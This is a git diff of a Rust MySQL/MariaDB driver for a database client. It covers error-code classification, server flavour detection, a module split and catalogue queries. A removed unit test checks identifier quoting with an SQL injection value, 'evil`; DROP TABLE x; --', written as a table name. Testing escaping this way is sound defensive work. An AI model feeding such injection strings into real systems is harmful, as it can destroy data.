classify(LOCK_WAIT_TIMEOUT), + DriverError::Timeout { + phase: TimeoutPhase::LockWait, + .. + } + )); + assert_eq!(classify(TOO_MANY_CONNECTIONS), DriverError::Busy); + assert!(matches!(classify(1146), DriverError::Server(_)), "{flavour:?}"); + } + + let mysql = |number| classify_number(numbered(number), Some(MySqlFlavour::MySql)); + let mariadb = |number| classify_number(numbered(number), Some(MySqlFlavour::MariaDb)); + assert!(is_statement_timeout(&mysql(MYSQL_QUERY_TIMEOUT))); + assert!(!is_statement_timeout(&mysql(MARIADB_STATEMENT_TIMEOUT))); + assert!(is_statement_timeout(&mariadb(MARIADB_STATEMENT_TIMEOUT))); + assert!(!is_statement_timeout(&mariadb(MYSQL_QUERY_TIMEOUT))); + for classify in [mysql, mariadb] { + assert!(matches!( + classify(SECURE_TRANSPORT_REQUIRED), + DriverError::Tls { + failure: TlsFailure::ServerRequiresTls, + .. + } + )); + } + let unknown = |number| classify_number(numbered(number), None); + assert!(is_statement_timeout(&unknown(MYSQL_QUERY_TIMEOUT))); + assert!(is_statement_timeout(&unknown(MARIADB_STATEMENT_TIMEOUT))); + } + + #[test] + fn an_io_failure_on_an_open_connection_is_a_lost_connection() { + let error = sqlx::Error::Io(io::Error::from(io::ErrorKind::BrokenPipe)); + + assert_eq!( + map_error(&error, MySqlFlavour::MySql), + DriverError::ConnectionLost { + during: LossPhase::Statement + } + ); + } + + #[test] + fn a_refused_connect_names_the_endpoint_it_tried() { + let endpoint = NetworkEndpoint::new("db.internal", 3306).expect("an endpoint"); + let error = sqlx::Error::Io(io::Error::from(io::ErrorKind::ConnectionRefused)); + + assert_eq!( + map_connect_error(&error, &endpoint), + DriverError::Transport(TransportError::Refused { endpoint }) + ); + } + + #[test] + fn a_tls_refusal_without_a_rustls_error_is_the_server_refusing_tls() { + let error = sqlx::Error::Tls("server does not support TLS".into()); + + assert!(matches!( + map_error(&error, MySqlFlavour::MariaDb), + DriverError::Tls { + failure: TlsFailure::ServerRefusedTls, + .. + } + )); + } + + #[test] + fn the_server_number_survives_classification() { + let error = classify_number(numbered(1146), Some(MySqlFlavour::MySql)); + + assert_eq!(server_number(&error), Some(1146)); + assert_eq!(server_number(&DriverError::Cancelled), None); + } +} diff --git a/linux/crates/drivers/mysql/src/flavour.rs b/linux/crates/drivers/mysql/src/flavour.rs new file mode 100644 index 0000000000..c893a55200 --- /dev/null +++ b/linux/crates/drivers/mysql/src/flavour.rs @@ -0,0 +1,63 @@ +use tablepro_core::ServerInfo; + +/// Which of the two servers speaking the MySQL protocol is on the other +/// end. They share the wire and most of the SQL, but name their timeouts, +/// error numbers and catalogue columns differently. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum MySqlFlavour { + MySql, + MariaDb, +} + +impl MySqlFlavour { + /// MariaDB says so in `VERSION()`, as in `11.4.5-MariaDB-ubu2404`. + pub fn detect(version: &str) -> Self { + match version.to_ascii_lowercase().contains("mariadb") { + true => Self::MariaDb, + false => Self::MySql, + } + } + + pub fn product(self) -> &'static str { + match self { + Self::MySql => "MySQL", + Self::MariaDb => "MariaDB", + } + } + + /// What the server reported, with its version read from the leading + /// `major.minor.patch`. + pub fn server_info(self, version: &str) -> ServerInfo { + let mut parts = version + .split(|character: char| !character.is_ascii_digit()) + .filter(|part| !part.is_empty()) + .map(|part| part.parse::().unwrap_or(0)); + let mut next = || parts.next().unwrap_or(0); + let (major, minor, patch) = (next(), next(), next()); + ServerInfo::new(self.product(), version, major, minor, patch) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn detects_mariadb_from_version_string() { + assert_eq!(MySqlFlavour::detect("11.4.5-MariaDB-ubu2404"), MySqlFlavour::MariaDb); + assert_eq!(MySqlFlavour::detect("10.6.18-mariadb-log"), MySqlFlavour::MariaDb); + assert_eq!(MySqlFlavour::detect("8.4.3"), MySqlFlavour::MySql); + assert_eq!(MySqlFlavour::detect("8.0.40-0ubuntu0.24.04.1"), MySqlFlavour::MySql); + + let info = MySqlFlavour::MariaDb.server_info("11.4.5-MariaDB-ubu2404"); + assert_eq!( + (info.product.as_str(), info.major, info.minor, info.patch), + ("MariaDB", 11, 4, 5) + ); + let info = MySqlFlavour::MySql.server_info("8.0.40-0ubuntu0.24.04.1"); + assert_eq!( + (info.product.as_str(), info.major, info.minor, info.patch), + ("MySQL", 8, 0, 40) + ); + } +} diff --git a/linux/crates/drivers/mysql/src/lib.rs b/linux/crates/drivers/mysql/src/lib.rs index 194ae81e8c..e9602f73e6 100644 --- a/linux/crates/drivers/mysql/src/lib.rs +++ b/linux/crates/drivers/mysql/src/lib.rs @@ -1,713 +1,40 @@ -use std::time::Duration; - -use async_trait::async_trait; -use secrecy::ExposeSecret; -use sqlx::mysql::{MySql, MySqlConnectOptions, MySqlPoolOptions, MySqlRow}; -use sqlx::{AssertSqlSafe, Column, Pool, Row, TypeInfo}; - -use futures::stream::StreamExt; - -use tablepro_core::column::{ - CatalogType, ColumnDefault, ColumnType, ReadForm, ResultColumn, SqlExpression, SqlTypeExpr, classify_type_name, - has_dynamic_storage, -}; -use tablepro_core::value::{BitString, JsonText, OffsetTimestamp, SqlTime, Temporal}; -use tablepro_core::{ - ColumnInfo, ConnectOptions, Connection, DatabaseDriver, DriverError, ExecResult, ForeignKeyInfo, IndexInfo, - LossPhase, MAX_QUERY_ROWS, NetworkEndpoint, QueryResult, ReadOnlyRefusal, ServerCode, ServerDiagnostics, TableInfo, - TimeoutPhase, TlsFailure, TransportError, Value, -}; - -pub struct MysqlDriver; - -#[async_trait] -impl DatabaseDriver for MysqlDriver { - fn id(&self) -> &'static str { - "mysql" - } - - fn display_name(&self) -> &'static str { - "MySQL" - } - - fn default_port(&self) -> u16 { - 3306 - } - - async fn connect(&self, opts: ConnectOptions) -> Result, DriverError> { - let mysql_opts = MySqlConnectOptions::new() - .host(&opts.host) - .port(opts.port) - .database(&opts.database) - .username(&opts.username) - .password(opts.password.expose_secret()) - .ssl_mode(if opts.use_tls { - sqlx::mysql::MySqlSslMode::Required - } else { - sqlx::mysql::MySqlSslMode::Disabled - }); - let endpoint = NetworkEndpoint::new(&opts.host, opts.port)?; - let pool = MySqlPoolOptions::new() - .max_connections(4) - .acquire_timeout(Duration::from_secs(5)) - .connect_with(mysql_opts) - .await - .map_err(|error| map_connect_error(error, &endpoint))?; - Ok(Box::new(MysqlConnection { pool })) - } -} - -struct MysqlConnection { - pool: Pool, -} - -#[async_trait] -impl Connection for MysqlConnection { - async fn list_tables(&self) -> Result, DriverError> { - let rows = sqlx::query( - "SELECT CAST(table_schema AS CHAR), CAST(table_name AS CHAR) - FROM information_schema.tables - WHERE table_schema = DATABASE() - ORDER BY table_name", - ) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(rows - .into_iter() - .map(|r| TableInfo { - schema: Some(r.get::(0)), - name: r.get::(1), - }) - .collect()) - } - - async fn fetch_columns(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - // `column_type` is canonical: it carries the precision / - // length the user typed (`tinyint(1)`, `varchar(255)`, - // `decimal(10,2)`, `enum('a','b')`). `data_type` strips all - // that — returns `tinyint` for both `tinyint(1)` and - // `tinyint(4)`, which collapses MySQL's idiomatic boolean - // type into a generic int and breaks the bool-detection - // heuristic in `classify_type`. Prefer column_type for the - // displayed `data_type`. - let rows = sqlx::query( - "SELECT CAST(column_name AS CHAR), CAST(column_type AS CHAR), - CAST(is_nullable AS CHAR), CAST(column_key AS CHAR), - CAST(extra AS CHAR), CAST(column_default AS CHAR), - CAST(generation_expression AS CHAR), CAST(column_comment AS CHAR) - FROM information_schema.columns - WHERE table_schema = COALESCE(?, DATABASE()) AND table_name = ? - ORDER BY ordinal_position", - ) - .bind(schema) - .bind(table) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(rows - .into_iter() - .map(|r| { - let extra = r.try_get::(4).unwrap_or_default().to_ascii_lowercase(); - // information_schema.column_default uses NULL for "no - // default", but some sqlx + MySQL combinations surface - // it as an empty string. Treat empty as absent so the - // build_insert_from_draft "omit when default present" - // heuristic doesn't trigger on phantom defaults. - let default_value: Option = r - .try_get::, _>(5) - .unwrap_or(None) - .filter(|s| !s.is_empty()); - let generation_expr: Option = r.try_get::, _>(6).unwrap_or(None); - // MySQL has no "no comment": a column without one - // carries the empty string, so that is what absent - // looks like here. - let comment = r - .try_get::, _>(7) - .unwrap_or(None) - .filter(|text| !text.is_empty()); - let type_name = r.get::(1); - ColumnInfo { - name: r.get::(0), - column_type: column_type_of(&type_name), - nullable: r.get::(2) == "YES", - primary_key: r.get::(3) == "PRI", - is_auto_increment: extra.contains("auto_increment"), - default: match default_value { - Some(text) => ColumnDefault::Expression(SqlExpression::from_catalog_text(text)), - None => ColumnDefault::None, - }, - // Two false-positives to guard against: - // 1. MySQL 8.0.13+ marks expression-default columns - // (e.g. DEFAULT CURRENT_TIMESTAMP) with extra = - // "DEFAULT_GENERATED" — contains "generated" but - // not a generated column. Match the explicit - // keywords instead. - // 2. information_schema.generation_expression returns - // an *empty string* for non-generated columns, - // not NULL — so `generation_expr.is_some()` is - // true even for plain columns. Check non-empty. - is_generated: generation_expr.as_deref().is_some_and(|s| !s.is_empty()) - || extra.contains("virtual generated") - || extra.contains("stored generated"), - comment, - } - }) - .collect()) - } - - async fn fetch_rows( - &self, - schema: Option<&str>, - table: &str, - offset: u64, - limit: u64, - ) -> Result { - let sql = format!( - "SELECT * FROM {} LIMIT {limit} OFFSET {offset}", - qualified(schema, table) - ); - stream_into_result(&self.pool, &sql, limit as usize).await - } - - async fn query(&self, sql: &str) -> Result { - stream_into_result(&self.pool, sql, MAX_QUERY_ROWS).await - } - - async fn query_params(&self, sql: &str, params: &[Value]) -> Result { - let q = bind_mysql_params(sqlx::query(AssertSqlSafe(sql)), params); - let mut stream = q.fetch(&self.pool); - let mut collected: Vec = Vec::new(); - let mut truncated = false; - while let Some(row_result) = stream.next().await { - let row = row_result.map_err(map_sqlx_error)?; - if collected.len() >= MAX_QUERY_ROWS { - truncated = true; - break; - } - collected.push(row); - } - if collected.is_empty() { - return Ok(QueryResult::empty().truncated(truncated)); - } - let columns: Vec = collected[0] - .columns() - .iter() - .map(|c| ResultColumn::new(c.name(), column_type_of(c.type_info().name()))) - .collect(); - let width = columns.len(); - let data: Vec> = collected - .iter() - .map(|r| (0..width).map(|i| extract_value(r, i)).collect()) - .collect(); - Ok(QueryResult::new(columns, data).truncated(truncated)) - } - - async fn execute(&self, sql: &str) -> Result { - let res = sqlx::query(AssertSqlSafe(sql)) - .execute(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(ExecResult { - rows_affected: res.rows_affected(), - }) - } - - async fn execute_params(&self, sql: &str, params: &[Value]) -> Result { - let q = bind_mysql_params(sqlx::query(AssertSqlSafe(sql)), params); - let res = q.execute(&self.pool).await.map_err(map_sqlx_error)?; - Ok(ExecResult { - rows_affected: res.rows_affected(), - }) - } - - async fn execute_in_transaction(&self, statements: &[(String, Vec)]) -> Result, DriverError> { - let mut tx = self.pool.begin().await.map_err(map_sqlx_error)?; - let mut affected = Vec::with_capacity(statements.len()); - for (idx, (sql, params)) in statements.iter().enumerate() { - let q = bind_mysql_params(sqlx::query(AssertSqlSafe(sql.as_str())), params); - match q.execute(&mut *tx).await { - Ok(res) => affected.push(res.rows_affected()), - Err(e) => { - let _ = tx.rollback().await; - return Err(DriverError::RolledBack { - statement_index: idx, - source: Box::new(map_sqlx_error(e)), - }); - } - } - } - tx.commit().await.map_err(map_sqlx_error)?; - Ok(affected) - } - - async fn fetch_indexes(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - // information_schema.statistics returns one row per (index, - // column). Group rows by index_name in Rust because sqlx can't - // GROUP_CONCAT-then-split natively for ordered column lists. - // PRIMARY is the literal index name MySQL uses for the PK. - let rows = sqlx::query( - "SELECT - CAST(index_name AS CHAR) AS index_name, - non_unique, - CAST(column_name AS CHAR) AS column_name - FROM information_schema.statistics - WHERE table_schema = COALESCE(?, DATABASE()) - AND table_name = ? - ORDER BY index_name, seq_in_index", - ) - .bind(schema) - .bind(table) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - let mut by_name: std::collections::BTreeMap = std::collections::BTreeMap::new(); - for r in rows { - let name: String = r.get(0); - let non_unique: i64 = r.try_get(1).unwrap_or(0); - let column: String = r.get(2); - let entry = by_name.entry(name.clone()).or_insert_with(|| IndexInfo { - name: name.clone(), - columns: Vec::new(), - unique: non_unique == 0, - primary: name == "PRIMARY", - }); - entry.columns.push(column); - } - Ok(by_name.into_values().collect()) - } - - async fn fetch_foreign_keys(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - // key_column_usage gives us the FK column ↔ referenced column - // pairs (one row per (constraint, ordinal)); referential_constraints - // adds the ON DELETE / ON UPDATE rules. Group by constraint_name - // in Rust to assemble the column lists. - let rows = sqlx::query( - "SELECT - CAST(kcu.constraint_name AS CHAR), - CAST(kcu.column_name AS CHAR), - CAST(kcu.referenced_table_name AS CHAR), - CAST(kcu.referenced_table_schema AS CHAR), - CAST(kcu.referenced_column_name AS CHAR), - CAST(rc.delete_rule AS CHAR), - CAST(rc.update_rule AS CHAR) - FROM information_schema.key_column_usage kcu - JOIN information_schema.referential_constraints rc - ON rc.constraint_name = kcu.constraint_name - AND rc.constraint_schema = kcu.constraint_schema - WHERE kcu.table_schema = COALESCE(?, DATABASE()) - AND kcu.table_name = ? - AND kcu.referenced_table_name IS NOT NULL - ORDER BY kcu.constraint_name, kcu.ordinal_position", - ) - .bind(schema) - .bind(table) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - let mut by_name: std::collections::BTreeMap = std::collections::BTreeMap::new(); - for r in rows { - let name: String = r.get(0); - let column: String = r.get(1); - let ref_table: String = r.get(2); - let ref_schema: Option = r.try_get(3).unwrap_or(None); - let ref_column: String = r.get(4); - let delete_rule: Option = r.try_get(5).ok(); - let update_rule: Option = r.try_get(6).ok(); - let entry = by_name.entry(name.clone()).or_insert_with(|| ForeignKeyInfo { - name: name.clone(), - columns: Vec::new(), - ref_schema, - ref_table, - ref_columns: Vec::new(), - on_delete: delete_rule.filter(|s| !s.is_empty() && s != "NO ACTION"), - on_update: update_rule.filter(|s| !s.is_empty() && s != "NO ACTION"), - }); - entry.columns.push(column); - entry.ref_columns.push(ref_column); - } - Ok(by_name.into_values().collect()) - } - - async fn ping(&self) -> Result<(), DriverError> { - sqlx::query("SELECT 1") - .execute(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(()) - } - - async fn close(self: Box) -> Result<(), DriverError> { - self.pool.close().await; - Ok(()) - } -} - -async fn stream_into_result(pool: &Pool, sql: &str, limit: usize) -> Result { - let mut stream = sqlx::query(AssertSqlSafe(sql)).fetch(pool); - let mut collected: Vec = Vec::new(); - let mut truncated = false; - while let Some(row_result) = stream.next().await { - let row = row_result.map_err(map_sqlx_error)?; - if collected.len() >= limit { - truncated = true; - break; - } - collected.push(row); - } - if collected.is_empty() { - return Ok(QueryResult::empty().truncated(truncated)); - } - let columns: Vec = collected[0] - .columns() - .iter() - .map(|c| ResultColumn::new(c.name(), column_type_of(c.type_info().name()))) - .collect(); - let width = columns.len(); - let data: Vec> = collected - .iter() - .map(|r| (0..width).map(|i| extract_value(r, i)).collect()) - .collect(); - Ok(QueryResult::new(columns, data).truncated(truncated)) -} - -fn extract_value(row: &MySqlRow, idx: usize) -> Value { - let type_name = row.columns()[idx].type_info().name().to_ascii_uppercase(); - let name = type_name.as_str(); - match name { - "BOOLEAN" => decode(row, idx, name, |v: bool| Some(Value::Bool(v))), - "TINYINT" | "SMALLINT" | "INT" | "MEDIUMINT" | "BIGINT" => decode(row, idx, name, |v: i64| Some(Value::Int(v))), - // An unsigned BIGINT runs past what a signed one holds, so it - // keeps its own type rather than wrapping into a negative. - "TINYINT UNSIGNED" | "SMALLINT UNSIGNED" | "INT UNSIGNED" | "MEDIUMINT UNSIGNED" | "BIGINT UNSIGNED" - | "YEAR" => decode(row, idx, name, |v: u64| Some(Value::UInt(v))), - "FLOAT" => decode(row, idx, name, |v: f32| Some(Value::Float32(v))), - "DOUBLE" => decode(row, idx, name, |v: f64| Some(Value::Float64(v))), - // DECIMAL travels as text in both protocols, so it is read as - // the digits the server sent: a fixed-width decimal type would - // round a DECIMAL(65,30) the server holds exactly. - "DECIMAL" => decode_text(row, idx, name, |text| text.parse().ok().map(Value::Decimal)), - "DATE" => decode(row, idx, name, |v: chrono::NaiveDate| { - Some(Value::Date(Temporal::Finite(v))) - }), - "TIME" => decode(row, idx, name, mysql_time), - "DATETIME" => decode(row, idx, name, |v: chrono::NaiveDateTime| { - Some(Value::Timestamp(Temporal::Finite(v))) - }), - "TIMESTAMP" => decode(row, idx, name, |v: chrono::DateTime| { - Some(Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime( - v.fixed_offset(), - )))) - }), - // Read as the server rendered it: parsing the document and - // printing it again would reorder the keys and drop spacing. - "JSON" => decode_text(row, idx, name, |text| { - JsonText::parse(text.to_owned()).ok().map(Value::Json) - }), - // BIT(M) arrives as the ceil(M/8) bytes that hold it, with no - // count of its own, so the byte width is what the value keeps. - "BIT" => decode_bytes(row, idx, name, |bytes| { - let bit_len = u32::try_from(bytes.len().saturating_mul(8)).ok()?; - BitString::from_bytes(bit_len, bytes).ok().map(Value::Bits) - }), - "BLOB" | "TINYBLOB" | "MEDIUMBLOB" | "LONGBLOB" | "VARBINARY" | "BINARY" | "GEOMETRY" => { - decode(row, idx, name, |v: Vec| Some(Value::Bytes(v))) - } - _ => decode(row, idx, name, |v: String| Some(Value::Text(v))), - } -} - -/// Read one cell, keeping three outcomes apart: a real NULL, a value -/// the driver read, and one it could not read. A type with no decoder -/// says so rather than reading as an empty cell the user would take -/// for a NULL. -fn decode<'r, T, F>(row: &'r MySqlRow, idx: usize, type_name: &str, into_value: F) -> Value -where - T: sqlx::Decode<'r, MySql> + sqlx::Type, - F: FnOnce(T) -> Option, -{ - match row.try_get::, _>(idx) { - Ok(Some(raw)) => into_value(raw).unwrap_or_else(|| undecodable(type_name)), - Ok(None) => Value::Null, - Err(_) => undecodable(type_name), - } -} - -/// Read a cell whose bytes are text the server already formatted, such -/// as DECIMAL and JSON. The type check is skipped because those types -/// carry text without being text types. -fn decode_text(row: &MySqlRow, idx: usize, type_name: &str, into_value: F) -> Value -where - F: FnOnce(&str) -> Option, -{ - match row.try_get_unchecked::, _>(idx) { - Ok(Some(text)) => into_value(&text).unwrap_or_else(|| undecodable(type_name)), - Ok(None) => Value::Null, - Err(_) => undecodable(type_name), - } -} - -/// Read a cell as the bytes the server sent, for a type the byte -/// width itself carries meaning for. -fn decode_bytes(row: &MySqlRow, idx: usize, type_name: &str, into_value: F) -> Value -where - F: FnOnce(Vec) -> Option, -{ - match row.try_get_unchecked::>, _>(idx) { - Ok(Some(bytes)) => into_value(bytes).unwrap_or_else(|| undecodable(type_name)), - Ok(None) => Value::Null, - Err(_) => undecodable(type_name), - } -} - -/// A value the driver could not read, so the grid says so rather than -/// showing an empty cell that looks like a NULL. -fn undecodable(type_name: &str) -> Value { - Value::Undecodable(Box::new(tablepro_core::value::UndecodedValue { - type_name: type_name.to_owned(), - reason: tablepro_core::value::UndecodableReason::UnsupportedType, - })) -} - -/// A MySQL TIME spans -838:59:59 to 838:59:59, which is a span rather -/// than a time of day, so it keeps a type that holds the whole range. -fn mysql_time(time: sqlx::mysql::types::MySqlTime) -> Option { - let nanos = time.microseconds().checked_mul(1_000)?; - // The sign comes from `sign()`: `MySqlTime::is_negative` in sqlx - // 0.9 returns `sign.is_positive()`, so it answers backwards. - let negative = matches!(time.sign(), sqlx::mysql::types::MySqlTimeSign::Negative); - SqlTime::new(negative, time.hours(), time.minutes(), time.seconds(), nanos) - .ok() - .map(Value::Time) -} - -fn bind_mysql_params<'q>( - mut q: sqlx::query::Query<'q, MySql, sqlx::mysql::MySqlArguments>, - params: &'q [Value], -) -> sqlx::query::Query<'q, MySql, sqlx::mysql::MySqlArguments> { - for p in params { - q = match p { - Value::Null => q.bind(Option::<&str>::None), - Value::Bool(b) => q.bind(*b), - Value::Int(i) => q.bind(*i), - Value::UInt(i) => q.bind(*i), - Value::Float32(f) => q.bind(*f), - Value::Float64(f) => q.bind(*f), - Value::Text(s) => q.bind(s.clone()), - Value::Bytes(b) => q.bind(b.clone()), - Value::Date(Temporal::Finite(d)) => q.bind(*d), - Value::Timestamp(Temporal::Finite(t)) => q.bind(*t), - Value::TimestampTz(Temporal::Finite(t)) => q.bind(t.to_datetime().naive_utc()), - Value::Uuid(u) => q.bind(u.to_string()), - // Sent as text and cast by the server, which keeps the - // scale a fixed-width decimal type would round away. - other => match tablepro_core::export::value_to_text(other) { - Some(text) => q.bind(text), - None => q.bind(Option::<&str>::None), - }, - }; - } - q -} - -fn quote_ident(name: &str) -> String { - format!("`{}`", name.replace('`', "``")) -} - -fn qualified(schema: Option<&str>, table: &str) -> String { - match schema { - Some(s) => format!("{}.{}", quote_ident(s), quote_ident(table)), - None => quote_ident(table), - } -} - -/// A failure during connect, where an unreachable server is the -/// answer rather than a connection that was lost. -fn map_connect_error(err: sqlx::Error, endpoint: &NetworkEndpoint) -> DriverError { - match err { - sqlx::Error::Io(io) => DriverError::Transport(connect_transport_error(&io, endpoint)), - sqlx::Error::PoolTimedOut => DriverError::Transport(TransportError::Timeout { - phase: TimeoutPhase::Connect, - }), - other => map_sqlx_error(other), - } -} - -fn connect_transport_error(io: &std::io::Error, endpoint: &NetworkEndpoint) -> TransportError { - match io.kind() { - std::io::ErrorKind::ConnectionRefused => TransportError::Refused { - endpoint: endpoint.clone(), - }, - std::io::ErrorKind::TimedOut => TransportError::Timeout { - phase: TimeoutPhase::Connect, - }, - _ => TransportError::Unreachable { - endpoint: endpoint.clone(), - detail: io.to_string(), - }, - } -} - -fn map_sqlx_error(err: sqlx::Error) -> DriverError { - match err { - sqlx::Error::Database(error) => match error.try_downcast_ref::() { - Some(mysql) => server_error(mysql), - None => DriverError::server(error.message().to_owned()), - }, - // An I/O failure on an open connection is the connection going - // away, whatever the kind says. - sqlx::Error::Io(_) => DriverError::ConnectionLost { - during: LossPhase::Statement, - }, - sqlx::Error::Tls(error) => tls_error(error.as_ref()), - // The pool's wait ends only when every connection is busy, so - // it is the server having no room rather than a slow network. - sqlx::Error::PoolTimedOut => DriverError::Busy, - sqlx::Error::PoolClosed | sqlx::Error::WorkerCrashed => DriverError::ConnectionLost { - during: LossPhase::Idle, - }, - sqlx::Error::ColumnDecode { index, source } => DriverError::Decode { - column: index, - detail: source.to_string(), - }, - other => DriverError::Protocol(other.to_string()), - } -} - -/// The error numbers that mean something the app acts on. MariaDB -/// numbers a few of them differently, so both are listed. -fn server_error(mysql: &sqlx::mysql::MySqlDatabaseError) -> DriverError { - let diagnostics = diagnostics_of(mysql); - match mysql.number() { - 1045 => DriverError::auth(Some(diagnostics)), - 1290 | 1792 => DriverError::ReadOnly(ReadOnlyRefusal::server(diagnostics)), - 1317 => DriverError::Cancelled, - 1205 => DriverError::Timeout { - phase: TimeoutPhase::LockWait, - server_cancelled: true, - }, - // 3024 on MySQL, 1969 on MariaDB. - 3024 | 1969 => DriverError::Timeout { - phase: TimeoutPhase::Statement, - server_cancelled: true, - }, - 1040 => DriverError::Busy, - _ => DriverError::reported(diagnostics), - } -} - -fn diagnostics_of(mysql: &sqlx::mysql::MySqlDatabaseError) -> ServerDiagnostics { - ServerDiagnostics::new( - Some(ServerCode::MySql { - number: mysql.number(), - sqlstate: mysql.code().map(str::to_owned), - }), - mysql.message().to_owned(), - ) -} - -fn tls_error(error: &(dyn std::error::Error + 'static)) -> DriverError { - let (failure, detail) = - tablepro_net::tls::classify(error).unwrap_or_else(|| (TlsFailure::Other, error.to_string())); - DriverError::Tls { failure, detail } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn driver_metadata() { - let d = MysqlDriver; - assert_eq!(d.id(), "mysql"); - assert_eq!(d.display_name(), "MySQL"); - assert_eq!(d.default_port(), 3306); - } - - #[test] - fn a_refused_connect_names_the_endpoint_it_tried() { - let endpoint = NetworkEndpoint::new("db.internal", 3306).expect("an endpoint"); - let err = sqlx::Error::Io(std::io::Error::from(std::io::ErrorKind::ConnectionRefused)); - - let mapped = map_connect_error(err, &endpoint); - - assert!( - matches!(&mapped, DriverError::Transport(TransportError::Refused { endpoint: at }) if at == &endpoint), - "got {mapped:?}" - ); - } - - #[test] - fn a_dropped_connection_mid_statement_is_not_a_refusal() { - let err = sqlx::Error::Io(std::io::Error::from(std::io::ErrorKind::BrokenPipe)); - - assert!(matches!( - map_sqlx_error(err), - DriverError::ConnectionLost { - during: LossPhase::Statement - } - )); - } - - #[test] - fn quote_ident_doubles_embedded_backticks() { - assert_eq!(quote_ident("users"), "`users`"); - assert_eq!(quote_ident("My Table"), "`My Table`"); - assert_eq!(quote_ident("evil`; DROP TABLE x; --"), "`evil``; DROP TABLE x; --`"); - } -} - -/// A column type from the name the catalogue gave, classified by the -/// shared rules. The engine's own spelling is kept for DDL. -fn column_type_of(type_name: &str) -> ColumnType { - let kind = classify_type_name(type_name); - ColumnType::new( - SqlTypeExpr::from_catalog_text(type_name), - kind, - CatalogType::Named(SqlTypeExpr::from_catalog_text(type_name)), - has_dynamic_storage(kind), - ReadForm::Native, - ) -} - -/// MySQL TIME is a signed duration up to 838 hours, not a time of day, -/// so it is parsed into a value that can hold the whole range. -#[cfg(test)] -mod value_tests { - use super::*; - - use sqlx::mysql::types::{MySqlTime, MySqlTimeSign}; - - fn wire_time(sign: MySqlTimeSign, hours: u32, minutes: u8, seconds: u8, micros: u32) -> MySqlTime { - MySqlTime::new(sign, hours, minutes, seconds, micros).expect("a time the wire holds") - } - - #[test] - fn a_time_past_a_day_is_kept_whole() { - // The server can return 838:59:59, which is not a time of day - // and would be lost by a type that only holds one. - let Some(Value::Time(time)) = mysql_time(wire_time(MySqlTimeSign::Positive, 838, 59, 59, 0)) else { - panic!("the longest MySQL time did not convert"); - }; - - assert_eq!(time.format(None), "838:59:59"); - } - - #[test] - fn a_negative_time_keeps_its_sign() { - let Some(Value::Time(time)) = mysql_time(wire_time(MySqlTimeSign::Negative, 12, 30, 0, 0)) else { - panic!("a negative time did not convert"); - }; - - assert_eq!(time.format(None), "-12:30:00"); - } - - #[test] - fn a_fractional_second_survives() { - let Some(Value::Time(time)) = mysql_time(wire_time(MySqlTimeSign::Positive, 1, 2, 3, 123_456)) else { - panic!("a fractional time did not convert"); - }; - - assert_eq!(time.format(Some(6)), "01:02:03.123456"); - } -} +//! The MySQL and MariaDB driver: sqlx connections dialled over the +//! target's route, a deadpool workspace pool, KILL QUERY for stops, and +//! editor sessions on the server's own defaults. +//! +//! sqlx dials the route itself, so a direct route is a TCP endpoint and +//! an SSH forward is the Unix socket OpenSSH listens on; nothing relays +//! bytes in between. + +mod cancel; +mod capabilities; +mod catalog; +mod connection; +mod decode; +mod dialect; +mod driver; +mod editor_run; +mod editor_session; +mod encode; +mod errors; +mod flavour; +mod metadata; +mod mysql_call; +mod mysql_manager; +mod mysql_temporal; +mod mysql_timestamp_mode; +mod mysql_wire_format; +mod physical; +mod session_statements; +mod standalone; +mod stream_read; +mod table_engine; +mod transaction_probe; +mod workspace_call; +mod workspace_session; +mod write_batch; + +pub use dialect::MySqlDialect; +pub use driver::MysqlDriver; +pub use flavour::MySqlFlavour; +pub use mysql_manager::WORKSPACE_POOL_MAX_SIZE; diff --git a/linux/crates/drivers/mysql/src/metadata.rs b/linux/crates/drivers/mysql/src/metadata.rs new file mode 100644 index 0000000000..523e22bdae --- /dev/null +++ b/linux/crates/drivers/mysql/src/metadata.rs @@ -0,0 +1,501 @@ +//! The catalogue reads behind the sidebar, the grid and the structure +//! tab. Every one is a bound query over information_schema, so a table +//! name never becomes SQL. + +use futures_util::TryStreamExt; +use sqlx::mysql::MySqlConnection; +use sqlx::{AssertSqlSafe, Executor as _, Row as _}; +use tablepro_core::column::ColumnInfo; +use tablepro_core::ddl::{ + InboundForeignKey, PrimaryKeyConstraint, ReferentialAction, TableDefinition, TableSource, UnmodeledAttribute, +}; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::meta::{ + IndexInfo, IndexKey, ObjectInfo, ObjectKind, ObjectScope, RowCountEstimate, RowIdentity, SchemaInfo, TableEstimate, + TableRef, +}; +use tablepro_core::{DriverError, ForeignKeyInfo}; + +use crate::catalog::{ + COLUMN_ENGINE_ATTRIBUTES_SQL, CatalogCells, INBOUND_FOREIGN_KEYS_SQL, MySqlColumnRow, column_definition, + column_info, columns_sql, inbound_foreign_keys, +}; +use crate::decode::decode_row; +use crate::dialect::MySqlDialect; +use crate::errors::map_error; +use crate::flavour::MySqlFlavour; +use crate::mysql_timestamp_mode::MySqlTimestampMode; +use crate::mysql_wire_format::MySqlWireFormat; +use crate::table_engine; + +/// Rows of a catalogue query whose parameters are all text or NULL. +pub(crate) async fn catalog_rows( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + sql: &'static str, + table: &'static str, + binds: &[Option<&str>], +) -> Result, DriverError> { + let mut query = sqlx::query(sql).persistent(false); + for bind in binds { + query = query.bind(bind.map(str::to_owned)); + } + let rows: Vec<_> = query + .fetch(&mut *connection) + .try_collect() + .await + .map_err(|error| map_error(&error, flavour))?; + Ok(rows + .iter() + .map(|row| { + CatalogCells::new( + table, + decode_row(row, MySqlWireFormat::Binary, MySqlTimestampMode::WorkspaceUtc), + ) + }) + .collect()) +} + +fn table_binds(table: &TableRef) -> [Option<&str>; 2] { + [table.schema.as_deref(), Some(table.name.as_str())] +} + +pub(crate) async fn list_schemas( + connection: &mut 